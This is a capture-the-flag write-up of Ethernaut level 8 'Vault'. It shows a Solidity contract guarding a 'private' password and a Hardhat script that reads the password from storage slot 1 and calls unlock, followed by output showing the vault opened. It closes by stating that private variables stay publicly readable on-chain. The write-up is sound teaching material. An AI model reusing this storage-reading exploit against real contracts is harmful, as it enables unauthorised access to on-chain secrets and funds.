Ethernaut #08 Vault

Vault

Challenge

Unlock the vault to pass the level!

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

Background

Private variables are not accessible by smart contracts, however, since the blockchain is public, anyone can check the value directly from the blockchain and use it.

Attack

Somehow access the private password value from the public blockchain and use it to call the unlock function.

vault-solve.js

const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");

async function main() {
    vaultAddress = "0x5F9f995f50C557073606266cdd86f148D72d9926";
    contract = await ethers.getContractAt("Vault", vaultAddress);

    const accounts = await hre.ethers.getSigners();
    account = accounts[0];

    console.log("Level address: " + contract.address)
    console.log("Vault locked : " + await contract.locked())

    // get private password value from storage
    paddedSlot = ethers.utils.hexZeroPad(1, 32);
    passwordBytes32 = await ethers.provider.getStorageAt(contract.address, paddedSlot);
    password = ethers.utils.toUtf8String(passwordBytes32)
    console.log("Password     : '" + password + "'")

    // submit password
    tx = await contract.connect(account).unlock(passwordBytes32)
    receipt = await tx.wait()

    console.log("Vault locked : " + await contract.locked())
    
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
$ npx hardhat run scripts/vault-solve.js --network rinkeby
Level address: 0x5F9f995f50C557073606266cdd86f148D72d9926
Vault locked : true
Password     : 'A very strong secret password :)'
Vault locked : false

Success Message

It’s important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible.

To ensure that data is private, it needs to be encrypted before being put onto the blockchain. In this scenario, the decryption key should never be sent on-chain, as it will then be visible to anyone who looks for it. zk-SNARKs provide a way to determine whether someone possesses a secret parameter, without ever having to reveal the parameter.